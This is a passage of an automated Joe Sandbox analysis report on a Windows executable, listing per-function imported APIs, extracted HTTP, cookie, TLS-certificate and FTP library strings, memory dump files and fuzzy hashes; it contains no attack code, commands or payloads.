_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D6967B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 6b00736407f2214d91860028af48249fbae4847a37a0940c787b6abd9db0cd9c
Instruction ID: 004ef11e1d5d58af9a638af1dc9c33046cb65e67a92dd3041c52e3ba56daafa8
Opcode Fuzzy Hash: 6b00736407f2214d91860028af48249fbae4847a37a0940c787b6abd9db0cd9c
Instruction Fuzzy Hash: 59D02BA3718A00839F10DF71A840029E251F788770B884738EE7D837E0DB3CD1424A00

Function 00007FF747D655A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF747D655B9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: ad4c069ad0f4160e7c62cb6453504bdc4280a687206230678d7d671c433c8928
Instruction ID: 6324d2536b995ffa2a168dcf879f8542f389aab2e9123d338d7b4ba44eaf864c
Opcode Fuzzy Hash: ad4c069ad0f4160e7c62cb6453504bdc4280a687206230678d7d671c433c8928
Instruction Fuzzy Hash: DEC08056F25581C2C3447F615485087A771BBC4304FD56535D10742524DD3CD2E5CF40

Non-executed Functions

Function 00007FF747D631A0 Relevance: 127.2, APIs: 25, Strings: 47, Instructions: 1229stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D64363

Part of subcall function 00007FF747D56400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56525
Part of subcall function 00007FF747D56400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D56540

memchr.VCRUNTIME140 ref: 00007FF747D64456
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6456E
strchr.VCRUNTIME140 ref: 00007FF747D64582
strchr.VCRUNTIME140 ref: 00007FF747D645AA
strchr.VCRUNTIME140 ref: 00007FF747D645C0

Strings

The requested URL returned error: %s, xrefs: 00007FF747D645D7
Unsupported HTTP version in response, xrefs: 00007FF747D64541
Invalid Content-Length: value, xrefs: 00007FF747D64618
Got 417 while waiting for a 100, xrefs: 00007FF747D64343
HTTP/%1d.%1d%c%3d, xrefs: 00007FF747D63339
HTTP, xrefs: 00007FF747D6455E
Transfer-Encoding:, xrefs: 00007FF747D63AEA
, xrefs: 00007FF747D63542
Set-Cookie:, xrefs: 00007FF747D63D33
Lying server, not serving HTTP/2, xrefs: 00007FF747D633BC
Last-Modified:, xrefs: 00007FF747D63DD7
Keep sending data to get tossed away!, xrefs: 00007FF747D643FC
Content-Encoding:, xrefs: 00007FF747D63BA1
Location:, xrefs: 00007FF747D63F6E
Retry-After:, xrefs: 00007FF747D63BE3
HTTP/1.0 proxy connection set to keep alive!, xrefs: 00007FF747D63B2C
Connection closure while negotiating auth (HTTP 1.0?), xrefs: 00007FF747D641AC, 00007FF747D641F8
HTTP/%1[23] %d, xrefs: 00007FF747D63364
Content-Length:, xrefs: 00007FF747D636AF
Received 101, xrefs: 00007FF747D6463B
RTSP/, xrefs: 00007FF747D63294
Negotiate: noauthpersist -> %d, header part: %s, xrefs: 00007FF747D63F2C
HTTP error before end of send, keep sending, xrefs: 00007FF747D64389
close, xrefs: 00007FF747D63933, 00007FF747D63AB3
Persistent-Auth, xrefs: 00007FF747D63ED2
Connection:, xrefs: 00007FF747D6396B, 00007FF747D63A20
false, xrefs: 00007FF747D63F10
HTTP/1.0 connection set to keep alive!, xrefs: 00007FF747D63B6B
no chunk, no close, no size. Assume close to signal end, xrefs: 00007FF747D64156
keep-alive, xrefs: 00007FF747D63866, 00007FF747D639F6
HTTP error before end of send, stop sending, xrefs: 00007FF747D643AD
, xrefs: 00007FF747D6338C
Content-Type:, xrefs: 00007FF747D63756
RTSP/%1d.%1d%c%3d, xrefs: 00007FF747D6352D
Content-Range:, xrefs: 00007FF747D63C6E
The requested URL returned error: %d, xrefs: 00007FF747D64733
WWW-Authenticate:, xrefs: 00007FF747D63E36
HTTP %3d, xrefs: 00007FF747D63408
Received HTTP/0.9 when not allowed, xrefs: 00007FF747D644CB
Maximum file size exceeded, xrefs: 00007FF747D645FF
Proxy-authenticate:, xrefs: 00007FF747D63E61
HTTP/1.1 proxy connection set close!, xrefs: 00007FF747D63B4D
Proxy-Connection:, xrefs: 00007FF747D637D3, 00007FF747D638AC
Overflow Content-Length: value!, xrefs: 00007FF747D6373B
HTTP/, xrefs: 00007FF747D634A9
HTTP 1.0, assume close after body, xrefs: 00007FF747D63607
Mark bundle as not supporting multiuse, xrefs: 00007FF747D633DF

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$fwrite$_strdupmemchrstrncmp
String ID: $ $ HTTP %3d$ HTTP/%1[23] %d$ HTTP/%1d.%1d%c%3d$ RTSP/%1d.%1d%c%3d$Connection closure while negotiating auth (HTTP 1.0?)$Connection:$Content-Encoding:$Content-Length:$Content-Range:$Content-Type:$Got 417 while waiting for a 100$HTTP$HTTP 1.0, assume close after body$HTTP error before end of send, keep sending$HTTP error before end of send, stop sending$HTTP/$HTTP/1.0 connection set to keep alive!$HTTP/1.0 proxy connection set to keep alive!$HTTP/1.1 proxy connection set close!$Invalid Content-Length: value$Keep sending data to get tossed away!$Last-Modified:$Location:$Lying server, not serving HTTP/2$Mark bundle as not supporting multiuse$Maximum file size exceeded$Negotiate: noauthpersist -> %d, header part: %s$Overflow Content-Length: value!$Persistent-Auth$Proxy-Connection:$Proxy-authenticate:$RTSP/$Received 101$Received HTTP/0.9 when not allowed$Retry-After:$Set-Cookie:$The requested URL returned error: %d$The requested URL returned error: %s$Transfer-Encoding:$Unsupported HTTP version in response$WWW-Authenticate:$close$false$keep-alive$no chunk, no close, no size. Assume close to signal end
API String ID: 3939785054-690044944
Opcode ID: a1538a2fe93912e992e6f2d42a2ea1633298ef863c6a51220481b0b8fab12c33
Instruction ID: 87d9427f70d3a465e188327417561b8946a1d4fca71e5cebe4699de2203f3f9c
Opcode Fuzzy Hash: a1538a2fe93912e992e6f2d42a2ea1633298ef863c6a51220481b0b8fab12c33
Instruction Fuzzy Hash: CDC28271A2CA82C5EB50BB2594443F9A791EF41B98F888235CE4D0B6C9DE3DE547CB70

Function 00007FF747D492A0 Relevance: 105.7, APIs: 41, Strings: 19, Instructions: 730stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,?,00000000,?,00000000,?,?,00007FF747D4AAF7), ref: 00007FF747D49310
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4932B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D49364
strchr.VCRUNTIME140 ref: 00007FF747D49377
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D494F7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D49518
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4953B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D49548
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D495E1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D495EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D49602
strchr.VCRUNTIME140 ref: 00007FF747D497EF
strchr.VCRUNTIME140 ref: 00007FF747D49809
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D498FC
strchr.VCRUNTIME140 ref: 00007FF747D49928
strrchr.VCRUNTIME140 ref: 00007FF747D4993A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4995B
memcpy.VCRUNTIME140 ref: 00007FF747D49974
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D499E8
strchr.VCRUNTIME140 ref: 00007FF747D49A0B
strchr.VCRUNTIME140 ref: 00007FF747D49A20

Strings

FALSE, xrefs: 00007FF747D49A5E, 00007FF747D49C5B
path, xrefs: 00007FF747D495CD
version, xrefs: 00007FF747D4972B
secure, xrefs: 00007FF747D4956E
expires, xrefs: 00007FF747D49785
#HttpOnly_, xrefs: 00007FF747D499DE
oversized cookie dropped, name/val %zu + %zu bytes, xrefs: 00007FF747D4987F
domain, xrefs: 00007FF747D49621
Replaced, xrefs: 00007FF747D49F11
httponly, xrefs: 00007FF747D495A6
skipped cookie with bad tailmatch domain: %s, xrefs: 00007FF747D4970E
%4095[^;=] =%4095[^;], xrefs: 00007FF747D493B6
__Secure-, xrefs: 00007FF747D494F0
localhost, xrefs: 00007FF747D4964F
TRUE, xrefs: 00007FF747D49A57
max-age, xrefs: 00007FF747D49758
__Host-, xrefs: 00007FF747D49511
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF747D49F27
Added, xrefs: 00007FF747D49F1D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdup$freestrncmp$_time64callocmallocmemcpystrrchr
String ID: #HttpOnly_$%4095[^;=] =%4095[^;]$%s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced$TRUE$__Host-$__Secure-$domain$expires$httponly$localhost$max-age$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
API String ID: 2059720140-3844637060
Opcode ID: aefc85c06da91ef1b4f678a21f8745f1fa9ed17bfba3c9c6ac9d2c0e2c9fcc93
Instruction ID: 002a4dd48faa8dcb00106b076a5e4d94a9bd2bcc5ca7069f098aeca921dede0c
Opcode Fuzzy Hash: aefc85c06da91ef1b4f678a21f8745f1fa9ed17bfba3c9c6ac9d2c0e2c9fcc93
Instruction Fuzzy Hash: C6728F61A6C686C6FB61FB26D4453B9A7A0FF45784F844271CA8E027D9DF2CE446CB20

Function 00007FF747D3956D Relevance: 78.0, APIs: 39, Strings: 5, Instructions: 975COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF747D39F6D
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF747D39F74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A0CB

Strings

object, xrefs: 00007FF747D3A319
object separator, xrefs: 00007FF747D39C73, 00007FF747D3A4AA
number overflow parsing ', xrefs: 00007FF747D39F90
object key, xrefs: 00007FF747D39DFF, 00007FF747D3A639
array, xrefs: 00007FF747D3A18A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Xbad_function_call@std@@__std_exception_destroy_invalid_parameter_noinfo_noreturn
String ID: array$number overflow parsing '$object$object key$object separator
API String ID: 1664669839-85532522
Opcode ID: 57745755b259e84db2332ad81b64edb5a67cb0af63b873a31d00d3511d4f9ebf
Instruction ID: 836466952312020830e32b038f1dcd1e5679744b687e16797fea35067733fc80
Opcode Fuzzy Hash: 57745755b259e84db2332ad81b64edb5a67cb0af63b873a31d00d3511d4f9ebf
Instruction Fuzzy Hash: F8A2A362B2CA86C6EB10FB68D5443ADA361FB457A4F804331DA6D07AD9DF7CE086C750

Function 00007FF747D863E0 Relevance: 72.3, APIs: 17, Strings: 24, Instructions: 549encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FF747D8654F
GetLastError.KERNEL32 ref: 00007FF747D86562
CertCreateCertificateChainEngine.CRYPT32 ref: 00007FF747D86614
GetLastError.KERNEL32 ref: 00007FF747D8661E
CertGetCertificateChain.CRYPT32 ref: 00007FF747D866AB
GetLastError.KERNEL32 ref: 00007FF747D866B5
CertGetNameStringA.CRYPT32 ref: 00007FF747D86823
CertFreeCertificateChainEngine.CRYPT32 ref: 00007FF747D86C9B
CertCloseStore.CRYPT32 ref: 00007FF747D86CB0
CertFreeCertificateChain.CRYPT32 ref: 00007FF747D86CC0
CertFreeCertificateContext.CRYPT32 ref: 00007FF747D86CD0

Strings

schannel: Null certificate info., xrefs: 00007FF747D86873, 00007FF747D86A04
schannel: Empty DNS name., xrefs: 00007FF747D8692A, 00007FF747D86AD8
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN, xrefs: 00007FF747D86735
schannel: connection hostname (%s) did not match against certificate name (%s), xrefs: 00007FF747D86BD9
schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names, xrefs: 00007FF747D86C26
schannel: failed to create certificate chain engine: %s, xrefs: 00007FF747D86638
schannel: CertGetNameString() returned certificate name information of unexpected size, xrefs: 00007FF747D86B63
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF747D86C4D
schannel: CertGetCertificateChain error mask: 0x%08x, xrefs: 00007FF747D8678A
schannel: CertGetCertificateChain failed: %s, xrefs: 00007FF747D866CF
schannel: CertGetNameString() returned no certificate name information, xrefs: 00007FF747D8696D
schannel: server certificate name verification failed, xrefs: 00007FF747D86C0E
schannel: CertFindExtension() returned no extension., xrefs: 00007FF747D8689B, 00007FF747D86A37
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED, xrefs: 00007FF747D8671D
schannel: Null certificate context., xrefs: 00007FF747D86838, 00007FF747D869E7
schannel: CryptDecodeObjectEx() returned no alternate name information., xrefs: 00007FF747D868EE, 00007FF747D86A95
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID, xrefs: 00007FF747D86762
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT, xrefs: 00007FF747D8674C
schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN, xrefs: 00007FF747D86779
schannel: failed to create certificate store: %s, xrefs: 00007FF747D8657C
schannel: Not enough memory to list all host names., xrefs: 00007FF747D86B4C
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF747D86521
schannel: connection hostname (%s) validated against certificate name (%s), xrefs: 00007FF747D86BC9
2.5.29.17, xrefs: 00007FF747D86883, 00007FF747D868B4, 00007FF747D86A1F, 00007FF747D86A5B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Cert$Certificate$Chain$ErrorFreeLast$EngineStore$CloseContextCreateNameOpenString
String ID: 2.5.29.17$schannel: CertFindExtension() returned no extension.$schannel: CertGetCertificateChain error mask: 0x%08x$schannel: CertGetCertificateChain failed: %s$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT$schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN$schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names$schannel: CertGetNameString() returned certificate name information of unexpected size$schannel: CertGetNameString() returned no certificate name information$schannel: CryptDecodeObjectEx() returned no alternate name information.$schannel: Empty DNS name.$schannel: Failed to read remote certificate context: %s$schannel: Not enough memory to list all host names.$schannel: Null certificate context.$schannel: Null certificate info.$schannel: connection hostname (%s) did not match against certificate name (%s)$schannel: connection hostname (%s) validated against certificate name (%s)$schannel: failed to create certificate chain engine: %s$schannel: failed to create certificate store: %s$schannel: server certificate name verification failed$schannel: this version of Windows is too old to support certificate verification via CA bundle file.
API String ID: 561913010-2037819326
Opcode ID: cd7eead237edb2df29b0f3e516ee76bf61877b4d14e84d580c823e5bfa7684d5
Instruction ID: b8e26d3fc93a49d9d90bbf1704e77b7829a06f5b84b714bee50172651fc03a7c
Opcode Fuzzy Hash: cd7eead237edb2df29b0f3e516ee76bf61877b4d14e84d580c823e5bfa7684d5
Instruction Fuzzy Hash: 4C42C272A2C742C1EB50BB25E8402BDA7A1FB45BA4F814735CA6D07795DF3CE546CB20

Function 00007FF747D75300 Relevance: 67.0, APIs: 25, Strings: 13, Instructions: 515networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D753E1
getsockname.WS2_32 ref: 00007FF747D755DA
WSAGetLastError.WS2_32 ref: 00007FF747D755E4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D75B1B

Strings

bind(port=%hu) on non-local address failed: %s, xrefs: 00007FF747D75774
%s |%d|%s|%hu|, xrefs: 00007FF747D75AA9
PORT, xrefs: 00007FF747D75A22
bind() failed, we ran out of ports!, xrefs: 00007FF747D757D6
Failure sending PORT command: %s, xrefs: 00007FF747D75A4C
%s %s, xrefs: 00007FF747D75A29
getsockname() failed: %s, xrefs: 00007FF747D755FE, 00007FF747D7580E
Failure sending EPRT command: %s, xrefs: 00007FF747D75ACF
EPRT, xrefs: 00007FF747D75A92
socket failure: %s, xrefs: 00007FF747D756DF, 00007FF747D758E6
bind(port=%hu) failed: %s, xrefs: 00007FF747D75845
failed to resolve the address provided to PORT: %s, xrefs: 00007FF747D75B09
,%d,%d, xrefs: 00007FF747D759F9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastcallocfreegetsockname
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 2454324209-2383553807
Opcode ID: a5c87e57f183c2b1b57544dd0ccfb1f9742bdef05442f3db7c5aeea4c5c747ae
Instruction ID: 55e54d95211c9dc47ebe7f01d3dd378ff972710fcf4f88e2ece5d55f8035b8c3
Opcode Fuzzy Hash: a5c87e57f183c2b1b57544dd0ccfb1f9742bdef05442f3db7c5aeea4c5c747ae
Instruction Fuzzy Hash: 4022B761A2C786C2EB50BF25D4402BEA761FB45B84FC44232EA4E5B795DF3CE506CB21

Function 00007FF747D81EC0 Relevance: 42.4, APIs: 21, Strings: 3, Instructions: 425COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D81F76
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82031
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8203F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82051

Strings

realm, xrefs: 00007FF747D821D7
digest_sspi: MakeSignature failed, error 0x%08lx, xrefs: 00007FF747D8226B
WDigest, xrefs: 00007FF747D81F01, 00007FF747D82335

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: WDigest$digest_sspi: MakeSignature failed, error 0x%08lx$realm
API String ID: 2190258309-2223379150
Opcode ID: 9269791fad170fb51524a65b613c9bd3239b3ce5b25056bc193c597442e6137b
Instruction ID: 17804d2e1d21b57248bdf0005f58e053864dfaf2b230f212c12b626238f7aafe
Opcode Fuzzy Hash: 9269791fad170fb51524a65b613c9bd3239b3ce5b25056bc193c597442e6137b
Instruction Fuzzy Hash: 4A125B72A1CB46C6EB10FF61E5542B9B7A4FB44B84F950235DA9D43B98DF38E406CB20

Function 00007FF747D57F40 Relevance: 38.8, APIs: 14, Strings: 8, Instructions: 317stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF747D58012
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5802D
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5806C

Strings

Local Interface %s is ip %s using address family %i, xrefs: 00007FF747D58127
Local port: %hu, xrefs: 00007FF747D58415
Name '%s' family %i resolved to '%s' family %i, xrefs: 00007FF747D58238
Couldn't bind to interface '%s', xrefs: 00007FF747D581B0
Couldn't bind to '%s', xrefs: 00007FF747D58102
getsockname() failed with errno %d: %s, xrefs: 00007FF747D583BC
Bind to local port %hu failed, trying next, xrefs: 00007FF747D58320
bind failed with errno %d: %s, xrefs: 00007FF747D583F8

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strncmp$memset
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s
API String ID: 3268688168-2769131373
Opcode ID: b5570f6d403c128652ce2c25ce15cc15f8bf162699db2796c53ee2ee932b2f9c
Instruction ID: fb53d22f82bd7b367a5d647e6f03c7cac09aa46f929e8a7ec289a05dfd7dd808
Opcode Fuzzy Hash: b5570f6d403c128652ce2c25ce15cc15f8bf162699db2796c53ee2ee932b2f9c
Instruction Fuzzy Hash: E0E1E162A2C692C6E750FB25D8002B9A760FB99B88FC15731DE4E53755DF7CE4828B20

Function 00007FF747D6A90C Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 203stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D6A9A8
strchr.VCRUNTIME140 ref: 00007FF747D6A9D4
strchr.VCRUNTIME140 ref: 00007FF747D6AA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AA32
strchr.VCRUNTIME140 ref: 00007FF747D6AB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AB5A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D6AC85
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D6ACB1

Strings

CurrentUser, xrefs: 00007FF747D6AA22
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF747D6ADE9
, xrefs: 00007FF747D6A90C

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
